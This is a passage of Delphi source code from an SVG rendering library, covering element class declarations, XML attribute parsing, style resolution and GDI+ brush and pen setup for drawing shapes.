function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
procedure PaintToGraphics(Graphics: TGPGraphics); override;
property DX: TFloat read FDX write FDX;
property DY: TFloat read FDY write FDY;
property FontHeight: TFloat read FFontHeight write FFontHeight;
property Text: string read FText write FText;
class function Features: TSVGElementFeatures; override;
end;
TSVGText = class(TSVGCustomText)
public
end;
TSVGTSpan = class(TSVGCustomText)
end;
TSVGTextPath = class(TSVGCustomText)
private
FOffset: TFloat;
FOffsetIsPercent: Boolean;
FPathRef: string;
FMethod: TTextPathMethod;
FSpacing: TTextPathSpacing;
protected
procedure ConstructPath; override;
public
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
end;
TSVGClipPath = class(TSVGBasic)
private
FClipPath: TGPGraphicsPath;
protected
procedure ConstructClipPath;
function GetClipPath: TGPGraphicsPath;
public
destructor Destroy; override;
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
property ClipPath: TGPGraphicsPath read GetClipPath;
class function Features: TSVGElementFeatures; override;
end;
implementation
uses
WinApi.ActiveX,
System.SysUtils,
System.Variants,
System.StrUtils,
System.Character,
SVGParse,
SVGPaint,
SVGPath,
SVGCommon,
SVGBase64;
{$REGION 'TSVGObject'}
constructor TSVGObject.Create;
begin
inherited;
FParent := nil;
Clear;
end;
constructor TSVGObject.Create(Parent: TSVGObject);
begin
Create;
if Assigned(Parent) then
begin
Parent.Add(Self);
end;
end;
destructor TSVGObject.Destroy;
begin
Clear;
if Assigned(FItems) then
FItems.Free;
if Assigned(FParent) then
begin
FParent.Remove(Self);
end;
if Assigned(FStyle) then
FStyle.Free;
inherited;
end;
procedure TSVGObject.CalculateMatrices;
var
C: Integer;
begin
if Self is TSVGMatrix then
TSVGMatrix(Self).CalcMatrix;
for C := 0 to Count - 1 do
begin
TSVGObject(FItems[C]).CalculateMatrices;
end;
end;
procedure TSVGObject.Clear;
begin
while Count > 0 do
begin
Items[0].Free;
end;
FVisible := tbTrue;
FDisplay := tbTrue;
FID := '';
SetLength(FClasses, 0);
if Assigned(FStyle) then FStyle.Clear;
FObjectName := '';
end;
function TSVGObject.Clone(Parent: TSVGObject): TSVGObject;
var
C: Integer;
begin
Result := New(Parent);
Result.Assign(Self);
for C := 0 to Count - 1 do
GetItem(C).Clone(Result);
end;
class constructor TSVGObject.Create;
begin
SVGElements := TDictionary<string, TSVGObjectClass>.Create(64);
SVGElements.Add('g', TSVGContainer);
SVGElements.Add('switch', TSVGSwitch);
SVGElements.Add('defs', TSVGDefs);
SVGElements.Add('use', TSVGUse);
SVGElements.Add('rect', TSVGRect);
SVGElements.Add('line', TSVGLine);
SVGElements.Add('polyline', TSVGPolyLine);
SVGElements.Add('polygon', TSVGPolygon);
SVGElements.Add('circle', TSVGEllipse);
SVGElements.Add('ellipse', TSVGEllipse);
SVGElements.Add('path', TSVGPath);
SVGElements.Add('image', TSVGImage);
SVGElements.Add('text', TSVGText);
SVGElements.Add('tspan', TSVGTSpan);
SVGElements.Add('textPath', TSVGTextPath);
SVGElements.Add('clipPath', TSVGClipPath);
SVGElements.Add('linearGradient', TSVGLinearGradient);
SvgElements.Add('radialGradient', TSVGRadialGradient);
SvgElements.Add('stop', TSVGStop);
SVGAttributes := TDictionary<string, TSVGAttribute>.Create(256);
SVGAttributes.Add('id', saId);
SVGAttributes.Add('x', saX);
SVGAttributes.Add('y', saY);
SVGAttributes.Add('x1', saX1);
SVGAttributes.Add('y1', saY1);
SVGAttributes.Add('x2', saX2);
SVGAttributes.Add('y2', saY2);
SVGAttributes.Add('cx', saCx);
SVGAttributes.Add('cy', saCy);
SVGAttributes.Add('d', saD);
SVGAttributes.Add('dx', saDx);
SVGAttributes.Add('dy', saDy);
SVGAttributes.Add('fx', saFx);
SVGAttributes.Add('fy', saFy);
SVGAttributes.Add('r', saR);
SVGAttributes.Add('rx', saRx);
SVGAttributes.Add('ry', saRy);
SVGAttributes.Add('style', saStyle);
SVGAttributes.Add('class', saClass);
SVGAttributes.Add('xlink:href', saXlinkHref);
SVGAttributes.Add('href', saHref);
SVGAttributes.Add('points', saPoints);
SVGAttributes.Add('gradientUnits', saGradientUnits);
SVGAttributes.Add('gradientTransform', saGradientTransform);
SVGAttributes.Add('visibility', saVisibility);
SVGAttributes.Add('version', saVersion);
SVGAttributes.Add('width', saWidth);
SVGAttributes.Add('height', saHeight);
SVGAttributes.Add('viewBox', saViewBox);
SVGAttributes.Add('transform', saTransform);
SVGAttributes.Add('offset', saOffset);
SVGAttributes.Add('stop-opacity', saStopOpacity);
SVGAttributes.Add('stop-color', saStopColor);
SVGAttributes.Add('startOffset', saStartOffset);
SVGAttributes.Add('method', saMethod);
SVGAttributes.Add('spacing', saSpacing);
SVGAttributes.Add('stroke-width', saStrokeWidth);
SVGAttributes.Add('line-width', saLineWidth);
SVGAttributes.Add('opacity', saOpacity);
SVGAttributes.Add('stroke-opacity', saStrokeOpacity);
SVGAttributes.Add('fill-opacity', saFillOpacity);
SVGAttributes.Add('color', saColor);
SVGAttributes.Add('stroke', saStroke);
SVGAttributes.Add('fill', saFill);
SVGAttributes.Add('clip-path', saClipPath);
SVGAttributes.Add('stroke-linejoin', saStrokeLinejoin);
SVGAttributes.Add('stroke-linecap', saStrokeLinecap);
SVGAttributes.Add('stroke-miterlimit', saStrokeMiterlimit);
SVGAttributes.Add('stroke-dashoffset', saStrokeDashoffset);
SVGAttributes.Add('stroke-dasharray', saStrokeDasharray);
SVGAttributes.Add('fill-rule', saFillRule);
SVGAttributes.Add('font-family', saFontFamily);
SVGAttributes.Add('font-weight', saFontWeight);
SVGAttributes.Add('font-size', saFontSize);
SVGAttributes.Add('text-decoration', saTextDecoration);
SVGAttributes.Add('font-style', saFontStyle);
SVGAttributes.Add('display', saDisplay);
end;
function TSVGObject.Add(Item: TSVGObject): Integer;
begin
if FItems = nil then
FItems := TList.Create;
Result := FItems.Add(Item);
Item.FParent := Self;
end;
procedure TSVGObject.Delete(Index: Integer);
var
Item: TSVGBasic;
begin
if (Index >= 0) and (Index < Count) then
begin
Item := FItems[Index];
FItems.Delete(Index);
Remove(Item);
end;
end;
class destructor TSVGObject.Destroy;
begin
SVGElements.Free;
SVGAttributes.Free;
end;
function TSVGObject.Remove(Item: TSVGObject): Integer;
begin
if Assigned(FItems) then
Result := FItems.Remove(Item)
else
Result := -1;
if Assigned(Item) then
begin
if Item.FParent = Self then
Item.FParent := nil;
end;
end;
function TSVGObject.IndexOf(Item: TSVGObject): Integer;
begin
if Assigned(FItems) then
Result := FItems.IndexOf(Item)
else
Result := -1;
end;
class function TSVGObject.New(Parent: TSVGObject): TSVGObject;
begin
// Create(Parent) will call the virtual Create and the appropriate \
// constructor will be used.
// You call New from an instance of a type
Result := Self.Create(Parent);
end;
function TSVGObject.ObjectBounds(IncludeStroke, ApplyTranform: Boolean): TRectF;
begin
Result := TRectF.Create(0, 0, 0, 0);
end;
class function TSVGObject.Features: TSVGElementFeatures;
begin
Result := [];
end;
function TSVGObject.FindByID(const Name: string): TSVGObject;
begin
Result := Traverse(
function(SVG: TSVGObject): Boolean
begin
Result := ('#' + SVG.FID = Name) or (SVG.FID = Name);
end);
end;
procedure TSVGObject.AssignTo(Dest: TPersistent);
var
SVG: TSVGObject;
begin
if (Dest is TSVGObject) then
begin
SVG := Dest as TSVGObject;
SVG.FVisible := FVisible;
SVG.FDisplay := FDisplay;
SVG.FID := FID;
SVG.FObjectName := FObjectName;
FreeAndNil(SVG.FStyle);
if Assigned(FStyle) then
SVG.FStyle := FStyle.Clone;
SVG.FClasses := Copy(FClasses, 0);
end;
end;
function TSVGObject.GetCount: Integer;
begin
if Assigned(FItems) then
Result := FItems.Count
else
Result := 0;
end;
procedure TSVGObject.SetItem(const Index: Integer; const Item: TSVGObject);
begin
if (Index >= 0) and (Index < Count) then
FItems[Index] := Item;
end;
function TSVGObject.Traverse(Proc: TSVGObjectProc): TSVGObject;
Var
I: Integer;
begin
Result := nil;
if Proc(Self) then Exit(Self);
for I := 0 to Count - 1 do
begin
Result := Items[I].Traverse(Proc);
if Assigned(Result) then Exit;
end;
end;
function TSVGObject.GetItem(const Index: Integer): TSVGObject;
begin
if (Index >= 0) and (Index < Count) then
Result := FItems[Index]
else
Result := nil;
end;
function TSVGObject.GetObjectStyle: TStyle;
begin
if not Assigned(FStyle) then
begin
FStyle := TStyle.Create;
if Self is TSVGBasic then
FStyle.OnChange := TSVGBasic(Self).OnStyleChanged;
end;
Result := FStyle;
end;
function TSVGObject.GetRoot: TSVG;
var
Temp: TSVGObject;
begin
Temp := Self;
while Assigned(Temp) and (not (Temp is TSVG)) do
Temp := Temp.FParent;
Result := TSVG(Temp);
end;
function TSVGObject.GetDepth: Integer;
Var
SVG : TSVGObject;
begin
Result := 1;
SVG := Self;
while Assigned(SVG.Parent) do
begin
Inc(Result);
SVG := SVG.Parent;
end;
end;
function TSVGObject.GetDisplay: TTriStateBoolean;
// if display is false in an element, children also will not be displayed
var
SVG: TSVGObject;
begin
Result := tbTrue;
SVG := Self;
while Assigned(SVG) do
begin
if SVG.FDisplay = tbFalse then Exit(tbFalse);
SVG := SVG.FParent;
end;
end;
function TSVGObject.GetVisible: TTriStateBoolean;
var
SVG: TSVGObject;
begin
Result := tbTrue;
SVG := Self;
while Assigned(SVG) do
begin
if SVG.FVisible <> tbInherit then Exit(SVG.FVisible);
SVG := SVG.FParent;
end;
end;
function TSVGObject.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saId: FID := AttrValue;
saVisibility: FVisible := ParseVisibility(AttrValue);
saStyle: ObjectStyle.SetValues(AttrValue);
saClass: FClasses := ParseClass(AttrValue);
saDisplay: FDisplay := ParseDisplay(AttrValue);
else
Result := False;
end;
end;
procedure TSVGObject.ReadChildren(const Reader: IXMLReader);
var
SVG: TSVGObject;
LRoot: TSVG;
NodeName: string;
SVGObjecClass: TSVGObjectClass;
pName: PWidechar;
Len: LongWord;
StartDepth, EndDepth: LongWord;
NodeType: XmlNodeType;
begin
if Reader.IsEmptyElement then Exit;
StartDepth := Depth;
Repeat
if not EXmlLite.IsOK(Reader.Read(NodeType)) then break;
case NodeType of
XmlNodeType.None: Break;
XmlNodeType.EndElement: Reader.GetDepth(EndDepth);
XmlNodeType.Element:
begin
SVG := nil;
Reader.GetLocalName(pName, Len);
SetString(NodeName, pName, Len);
if SvgElements.TryGetValue(NodeName, SVGObjecClass) then
SVG := SVGObjecClass.Create(Self)
else if NodeName = 'style' then
begin
LRoot := GetRoot;
LRoot.ReadStyles(Reader);
end;
if Assigned(SVG) then
begin
SVG.ReadIn(Reader);
end;
end;
end;
Until ((Nodetype = XmlNodeType.EndElement) and (EndDepth = StartDepth));
end;
procedure TSVGObject.ReadIn(const Reader: IXMLReader);
var
AttrName: string;
AttrValue: string;
pName: PWidechar;
pValue: PWidechar;
Len: LongWord;
HRes: HRESULT;
SVGAttr: TSVGAttribute;
begin
Reader.GetLocalName(pName, Len);
SetString(FObjectName, pName, Len);
HRes := Reader.MoveToFirstAttribute;
while HRes = S_OK do
begin
Reader.GetLocalName(pName, Len);
SetString(AttrName, pName, Len);
Reader.GetValue(pValue, Len);
SetString(AttrValue, pValue, Len);
if not (SVGAttributes.TryGetValue(AttrName, SVGAttr) and
ReadInAttr(SVGAttr, AttrValue)) and not StartsText('xmlns', AttrName)
then
ObjectStyle.AddStyle(AttrName, AttrValue);
HRes := Reader.MoveToNextAttribute;
end;
Reader.MoveToElement;
if sefMayHaveChildren in Features then
ReadChildren(Reader);
end;
{$ENDREGION}
{$REGION 'TSVGMatrix'}
procedure TSVGMatrix.AssignTo(Dest: TPersistent);
begin
inherited;
if Dest is TSVGMatrix then
begin
TSVGMatrix(Dest).FLocalMatrix := FLocalMatrix;
end;
end;
procedure TSVGMatrix.CalcMatrix;
var
SVG: TSVGObject;
begin
SVG := Parent;
while Assigned(SVG) do
begin
if SVG is TSVGMatrix then break;
SVG := SVG.FParent;
end;
if Assigned(SVG) and not TSVGMatrix(SVG).FullMatrix.IsEmpty then
FFullMatrix := TSVGMatrix(SVG).FullMatrix
else
FillChar(FFullMatrix, SizeOf(FFullMatrix), 0);
if not FLocalMatrix.IsEmpty then begin
if not FFullMatrix.IsEmpty then
FFullMatrix := FLocalMatrix * FFullMatrix
else
FFullMatrix := FLocalMatrix;
end;
end;
procedure TSVGMatrix.Clear;
begin
inherited;
FillChar(FLocalMatrix, SizeOf(FLocalMatrix), 0);
FillChar(FFullMatrix, SizeOf(FFullMatrix), 0);
end;
function TSVGMatrix.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
if SVGAttr = saTransform then
FLocalMatrix := ParseTransform(AttrValue)
else
Result := inherited;
end;
procedure TSVGMatrix.SetPureMatrix(const Value: TAffineMatrix);
begin
FLocalMatrix := Value;
end;
function TSVGMatrix.Transform(const P: TPointF): TPointF;
begin
if not FFullMatrix.IsEmpty then
Result := P * FFullMatrix
else
Result := P;
end;
{$ENDREGION}
{$REGION 'TSVGBasic'}
constructor TSVGBasic.Create;
begin
inherited;
FPath := nil;
SetLength(FStrokeDashArray, 0);
end;
procedure TSVGBasic.BeforePaint(const Graphics: TGPGraphics;
const Brush: TGPBrush; const Pen: TGPPen);
Var
SolidBrush : TGPBrush;
begin
if (Brush is TGPPathGradientBrush) and (GPPath <> nil) and (FFillColor <> SVG_INHERIT_COLOR) then
begin
// Fill with solid color
SolidBrush := TGPSolidBrush.Create(TGPColor(FFillColor));
try
Graphics.FillPath(SolidBrush, GPPath);
finally
SolidBrush.Free;
FFillColor := SVG_INHERIT_COLOR;
end;
end;
end;
procedure TSVGBasic.Clear;
begin
inherited;
FX := 0;
FY := 0;
FWidth := 0;
FHeight := 0;
FRX := UndefinedFloat;
FRY := UndefinedFloat;
FFillURI := '';
FStrokeURI := '';
FillColor := SVG_INHERIT_COLOR;
StrokeColor := SVG_INHERIT_COLOR;
// default SVG fill-rule is nonzero
FFillMode := FillModeWinding;
StrokeWidth := UndefinedFloat;
FStrokeOpacity := 1;
FFillOpacity := 1;
FLineWidth := UndefinedFloat;
FStrokeLineJoin := '';
FStrokeLineCap := '';
FStrokeMiterLimit := UndefinedFloat;
FStrokeDashOffset := UndefinedFloat;
SetLength(FStrokeDashArray, 0);
FArrayNone := False;
FFontName := '';
FFontSize := UndefinedFloat;
FFontWeight := UndefinedInt;
FFontStyle := UndefinedInt;
FTextDecoration := [tdInherit];
FreeAndNil(FPath);
end;
procedure TSVGBasic.PaintToGraphics(Graphics: TGPGraphics);
var
Brush, StrokeBrush: TGPBrush;
Pen: TGPPen;
TGP: TGPMatrix;
begin
if (GPPath = nil) {or (GPPath.GetLastStatus <> OK)} then
Exit;
try
SetClipPath(Graphics);
TGP := FullMatrix.ToGPMatrix;
try
Graphics.SetTransform(TGP);
finally
TGP.Free;
end;
if FStyleChanged then
UpdateStyle;
Brush := GetFillBrush;
try
StrokeBrush := GetStrokeBrush;
Pen := GetStrokePen(StrokeBrush);
try
BeforePaint(Graphics, Brush, Pen);
if Assigned(Brush) and (Brush.GetLastStatus = OK) then
Graphics.FillPath(Brush, GPPath);
if Assigned(Pen) and (Pen.GetLastStatus = OK) then
Graphics.DrawPath(Pen, GPPath);
AfterPaint(Graphics, Brush, Pen);
finally
Pen.Free;
StrokeBrush.Free;
end;
finally
Brush.Free;
end;
finally
Graphics.ResetTransform;
Graphics.ResetClip;
end;
end;
procedure TSVGBasic.PaintToPath(Path: TGPGraphicsPath);
var
M: TGPMatrix;
I: Integer;
Obj: TSVGObject;
begin
for I := 0 to Count - 1 do
begin
Obj := TSVGBasic(Items[I]);
Obj.PaintToPath(Path);
end;
if (sefHasPath in Features) and Assigned(GPPath) then
Path.AddPath(GPPath, False);
if not LocalMatrix.IsEmpty then
begin
M := LocalMatrix.ToGPMatrix;
Path.Transform(M);
M.Free;
end;
end;
function TSVGBasic.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
begin
Result := TRectF.Create(TPointF.Create(FX, FY), FWidth, FHeight);
end;
procedure TSVGBasic.SetClipPath(Graphics: TGPGraphics);
var
ClipRoot: TSVGBasic;
ClipPath: TGPGraphicsPath;
TGP: TGPMatrix;
ParentSVG : TSVGBasic;
URI: string;
begin
URI := ClipURI;
if URI <> '' then
begin
ClipRoot := TSVGBasic(Root.FindByID(URI));
if Assigned(ClipRoot) and (ClipRoot is TSVGClipPath) then
begin
ClipPath := TSVGClipPath(ClipRoot).ClipPath;
ParentSVG := ClipRoot.Parent as TSVGBasic;
if not ParentSVG.FullMatrix.IsEmpty then
begin
TGP := ParentSVG.FullMatrix.ToGPMatrix;
Graphics.SetTransform(TGP);
TGP.Free;
end;
Graphics.SetClip(ClipPath);
Graphics.ResetTransform;
end;
end;
end;
procedure TSVGBasic.OnStyleChanged(Sender: TObject);
begin
FStyleChanged := True;
end;
procedure TSVGBasic.UpdateStyle;
var
LRoot: TSVG;
C: Integer;
Style: TStyle;
begin
LRoot := GetRoot;
for C := -2 to Length(FClasses) do
begin
case C of
-2: Style := LRoot.FStyles.GetStyleByName(FObjectName);
-1: Style := LRoot.FStyles.GetStyleByName('#' + FID);
else
begin
if C < Length(FClasses) then
begin
if Assigned(LRoot) then
begin
Style := LRoot.FStyles.GetStyleByName(FObjectName + '.' + FClasses[C]);
if Style = nil then
begin
Style := LRoot.FStyles.GetStyleByName('.' + FClasses[C]);
if Style = nil then
Style := LRoot.FStyles.GetStyleByName(FClasses[C]);
end;
end else
Style := nil;
end else
Style := FStyle;
end;
end;
if Assigned(Style) then
ReadStyle(Style);
end;
if FFillURI <> '' then
begin
if LRoot.Grayscale then
FFillColor := GetSVGGrayscale(GetSVGColor(FFillURI))
else
begin
FFillColor := GetSVGColor(FFillURI);
if (LRoot.FixedColor <> SVG_INHERIT_COLOR) and
(FFillColor <> SVG_INHERIT_COLOR) and (FFillColor <> SVG_NONE_COLOR)
then
FFillColor := LRoot.FixedColor;
end;
FFillURI := ParseURI(FFillURI);
end;
if FStrokeURI <> '' then
begin
if LRoot.Grayscale then
FStrokeColor := GetSVGGrayscale(GetSVGColor(FStrokeURI))
else
begin
FStrokeColor := GetSVGColor(FStrokeURI);
if (LRoot.FixedColor <> SVG_INHERIT_COLOR) and
(FStrokeColor <> SVG_INHERIT_COLOR) and (FStrokeColor <> SVG_NONE_COLOR)
then
FStrokeColor := LRoot.FixedColor;
end;
FStrokeURI := ParseURI(FStrokeURI);
end;
FStyleChanged := False;
end;
procedure TSVGBasic.ReadIn(const Reader: IXMLReader);
begin
inherited;
if not HasValue(FRX) and HasValue(FRY) then
begin
FRX := FRY;
end;
if not HasValue(FRY) and HasValue(FRX) then
begin
FRY := FRX;
end;
UpdateStyle;
end;
function TSVGBasic.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saFill: FFillURI := AttrValue;
saStroke: FStrokeURI := AttrValue;
saX: ParseLengthAttr(AttrValue, ltHorz, FX);
saY: ParseLengthAttr(AttrValue, ltVert, FY);
saWidth: ParseLengthAttr(AttrValue, ltHorz, FWidth);
saHeight: ParseLengthAttr(AttrValue, ltVert, FHeight);
saRx: ParseLengthAttr(AttrValue, ltOther, FRX);
saRy: ParseLengthAttr(AttrValue, ltOther, FRY);
saFontFamily,
saFontWeight,
saFontSize,
saTextDecoration,
saFontStyle: ProcessFontAttribute(SVGAttr, AttrValue);
else
Result := inherited;
end;
end;
procedure TSVGBasic.AfterPaint(const Graphics: TGPGraphics;
const Brush: TGPBrush; const Pen: TGPPen);
begin
end;
procedure TSVGBasic.AssignTo(Dest: TPersistent);
var
C, L: Integer;
begin
inherited;
if Dest is TSVGBasic then
begin
TSVGBasic(Dest).FFillColor := FFillColor;
TSVGBasic(Dest).FStrokeColor := FStrokeColor;
TSVGBasic(Dest).FFillOpacity := FFillOpacity;
TSVGBasic(Dest).FStrokeOpacity := FStrokeOpacity;
TSVGBasic(Dest).FStrokeWidth := FStrokeWidth;
TSVGBasic(Dest).FStrokeLineJoin := FStrokeLineJoin;
TSVGBasic(Dest).FStrokeLineCap := FStrokeLineCap;
TSVGBasic(Dest).FStrokeMiterLimit := FStrokeMiterLimit;
TSVGBasic(Dest).FStrokeDashOffset := FStrokeDashOffset;
TSVGBasic(Dest).FFontName := FFontName;
TSVGBasic(Dest).FFontSize := FFontSize;
TSVGBasic(Dest).FFontWeight := FFontWeight;
TSVGBasic(Dest).FFontStyle := FFontStyle;
TSVGBasic(Dest).FTextDecoration := FTextDecoration;
TSVGBasic(Dest).FFillMode := FFillMode;
L := Length(FStrokeDashArray);
if L > 0 then
begin
SetLength(TSVGBasic(Dest).FStrokeDashArray, L);
for C := 0 to L - 1 do
TSVGBasic(Dest).FStrokeDashArray[C] := FStrokeDashArray[C];
end;
TSVGBasic(Dest).FArrayNone := FArrayNone;
if Assigned(FPath) then
TSVGBasic(Dest).FPath := FPath.Clone;
TSVGBasic(Dest).FRX := FRX;
TSVGBasic(Dest).FRY := FRY;
TSVGBasic(Dest).FFillURI := FFillURI;
TSVGBasic(Dest).FStrokeURI := FStrokeURI;
TSVGBasic(Dest).FClipURI := FClipURI;
TSVGBasic(Dest).FLineWidth := FLineWidth;
TSVGBasic(Dest).FColorInterpolation := FColorInterpolation;
TSVGBasic(Dest).FColorRendering := FColorRendering;
TSVGBasic(Dest).FX := FX;
TSVGBasic(Dest).FY := FY;
TSVGBasic(Dest).FWidth := Width;
TSVGBasic(Dest).FHeight := Height;
end;
end;
procedure TSVGBasic.ProcessFontAttribute(SVGAttr: TSVGAttribute; const Value: string);
begin
case SVGAttr of
saFontFamily: FFontName := Value;
saFontWeight: FFontWeight := ParseFontWeight(Value);
saFontSize: FFontSize := ParseLength(Value);
saTextDecoration: ParseTextDecoration(Value, FTextDecoration);
saFontStyle: FFontStyle := ParseFontStyle(Value);
end;
end;
procedure TSVGBasic.ReadStyle(Style: TStyle);
var
I: integer;
Key : string;
Value: string;
SVGAttr: TSVGAttribute;
begin
for I := 0 to Style.Count - 1 do
begin
Key := Style.Keys[I];
if Key = '' then Continue;
Value := Style.ValuesByNum[I];
if Value = '' then Continue;
if SVGAttributes.TryGetValue(Key, SVGAttr) then
begin
case SVGAttr of
saStrokeWidth:
FStrokeWidth := ParseLength(Value);
saLineWidth:
FLineWidth := ParseLength(Value);
saOpacity:
begin
FStrokeOpacity := ParsePercent(Value);
FFillOpacity := FStrokeOpacity;
end;
saStrokeOpacity:
FStrokeOpacity := ParsePercent(Value);
saFillOpacity:
FFillOpacity := ParsePercent(Value);
saColor:
begin
FStrokeURI := Value;
FFillURI := Value;
end;
saStroke:
FStrokeURI := Value;
saFill:
FFillURI := Value;
saClipPath:
FClipURI := ParseURI(Value, False);
saStrokeLinejoin:
FStrokeLineJoin := Value;
saStrokeLinecap:
FStrokeLineCap := Value;
saStrokeMiterlimit:
begin
if not TryStrToTFloat(Value, FStrokeMiterLimit) then
FStrokeMiterLimit := 0;
end;
saStrokeDashoffset:
if not TryStrToTFloat(Value, FStrokeDashOffset) then
FStrokeDashOffset := 0;
saStrokeDasharray:
SetStrokeDashArray(Value);
saFillRule:
if SameText(Value, 'evenodd') then
fFillMode := FillModeAlternate
else
fFillMode := FillModeWinding;
saFontFamily,
saFontWeight,
saFontSize,
saTextDecoration,
saFontStyle: ProcessFontAttribute(SVGAttr, Value);
saDisplay:
if Value = 'none' then
FDisplay := tbFalse;
end;
end;
end;
end;
procedure TSVGBasic.SetStrokeDashArray(const S: string);
var
C, E: Integer;
SL: TStringList;
D: TFloat;
begin
SetLength(FStrokeDashArray, 0);
FArrayNone := False;
if Trim(S) = 'none' then
begin
FArrayNone := True;
Exit;
end;
SL := TStringList.Create;
try
SL.Delimiter := ',';
SL.DelimitedText := S;
for C := SL.Count - 1 downto 0 do
begin
SL[C] := Trim(SL[C]);
if SL[C] = '' then
SL.Delete(C);
end;
if SL.Count = 0 then
begin
Exit;
end;
if SL.Count mod 2 = 1 then
begin
E := SL.Count;
for C := 0 to E - 1 do
SL.Add(SL[C]);
end;
SetLength(FStrokeDashArray, SL.Count);
for C := 0 to SL.Count - 1 do
begin
if not TryStrToTFloat(SL[C], D) then
D := 0;
FStrokeDashArray[C] := D;
end;
finally
SL.Free;
end;
end;
function TSVGBasic.GetFillBrush: TGPBrush;
var
Color: Integer;
Opacity: Integer;
Filler: TSVGObject;
begin
Result := nil;
Color := FillColor;
if Color = SVG_INHERIT_COLOR then
Color := 0;
Opacity := Round(255 * FillOpacity);
if FFillURI <> '' then
begin
Filler := GetRoot.FindByID(FFillURI);
if Assigned(Filler) and (Filler is TSVGFiller) then
Result := TSVGFiller(Filler).GetBrush(Opacity, Self);
end else
if (Color <> SVG_INHERIT_COLOR) and (Color <> SVG_NONE_COLOR) then
Result := TGPSolidBrush.Create(ConvertColor(Color, Opacity));
end;
function TSVGBasic.GetFillColor: TColor;
var
SVG: TSVGObject;
begin
Result := SVG_INHERIT_COLOR;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FFillColor <> SVG_INHERIT_COLOR) then
begin
Result := TSVGBasic(SVG).FFillColor;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeBrush: TGPBrush;
var
Color: Integer;
Opacity: Integer;
Filler: TSVGObject;
begin
Result := nil;
Color := StrokeColor;
Opacity := Round(255 * StrokeOpacity);
if FStrokeURI <> '' then
begin
Filler := GetRoot.FindByID(FStrokeURI);
if Assigned(Filler) and (Filler is TSVGFiller) then
Result := TSVGFiller(Filler).GetBrush(Opacity, Self, True);
end else
if (Color <> SVG_INHERIT_COLOR) and (Color <> SVG_NONE_COLOR) then
Result := TGPSolidBrush.Create(ConvertColor(Color, Opacity));
end;
function TSVGBasic.GetStrokeColor: TColor;
var
SVG: TSVGObject;
begin
Result := SVG_NONE_COLOR;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FStrokeColor <> SVG_INHERIT_COLOR) then
begin
Result := TSVGBasic(SVG).FStrokeColor;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetFillOpacity: TFloat;
var
SVG: TSVGObject;
begin
Result := 1;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FFillOpacity) then
Result := Result * TSVGBasic(SVG).FFillOpacity;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeOpacity: TFloat;
var
SVG: TSVGObject;
begin
Result := 1;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FStrokeOpacity) then
Result := Result * TSVGBasic(SVG).FStrokeOpacity;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokePen(const StrokeBrush: TGPBrush): TGPPen;
var
Pen: TGPPen;
PenWidth : TFloat;
DashArray: TSingleDynArray;
StrokeDashCap: TDashCap;
I: Integer;
begin
PenWidth := GetStrokeWidth;
if Assigned(StrokeBrush) and (StrokeBrush.GetLastStatus = OK) and (PenWidth > 0) then
begin
StrokeDashCap := GetStrokeDashCap;
Pen := TGPPen.Create(0, PenWidth);
Pen.SetLineJoin(GetStrokeLineJoin);
Pen.SetMiterLimit(GetStrokeMiterLimit);
Pen.SetLineCap(GetStrokeLineCap, GetStrokeLineCap, StrokeDashCap);
DashArray := GetStrokeDashArray;
if Length(DashArray) > 0 then
begin
// The length of each dash and space in the dash pattern is the product of
// the element value in the array and the width of the Pen object.
// https://docs.microsoft.com/en-us/windows/win32/api/gdipluspen/nf-gdipluspen-pen-setdashpattern
// Also it appears that GDI does not adjust for DashCap
for I := Low(DashArray) to High(DashArray) do
begin
DashArray[I] := DashArray[I] / PenWidth;
if StrokeDashCap <> DashCapFlat then
begin
if Odd(I) then
DashArray[I] := DashArray[I] - 1
else
DashArray[I] := DashArray[I] + 1;
end;
end;
Pen.SetDashStyle(DashStyleCustom);
Pen.SetDashPattern(PSingle(DashArray), Length(DashArray));
Pen.SetDashOffset(GetStrokeDashOffset);
end;
Pen.SetBrush(StrokeBrush);
Result := Pen;
end else
Result := nil;
end;
function TSVGBasic.GetStrokeWidth: TFloat;
var
SVG: TSVGObject;
begin
Result := 1; // default
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FStrokeWidth) then
begin
Result := TSVGBasic(SVG).FStrokeWidth;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetTextDecoration: TTextDecoration;
var
SVG: TSVGObject;
begin
Result := [];
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and not (tdInherit in TSVGBasic(SVG).FTextDecoration) then
begin
Result := TSVGBasic(SVG).FTextDecoration;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.IsFontAvailable: Boolean;
var
FF: TGPFontFamily;
begin
FF := TGPFontFamily.Create(GetFontName);
Result := FF.GetLastStatus = OK;
FF.Free;
end;
procedure TSVGBasic.ParseLengthAttr(const AttrValue: string;
LengthType: TLengthType; var X: TFloat);
Var
IsPercent: Boolean;
begin
IsPercent := False;
X := ParseLength(AttrValue, IsPercent);
if IsPercent then
with Root.ViewBox do
case LengthType of
ltHorz: X := X * Width;
ltVert: X := X * Height;
ltOther: X := X * Sqrt(Sqr(Width) + Sqr(Height))/Sqrt(2);
end;
end;
function TSVGBasic.GetClipURI: string;
var
SVG: TSVGObject;
begin
Result := '';
SVG := Self;
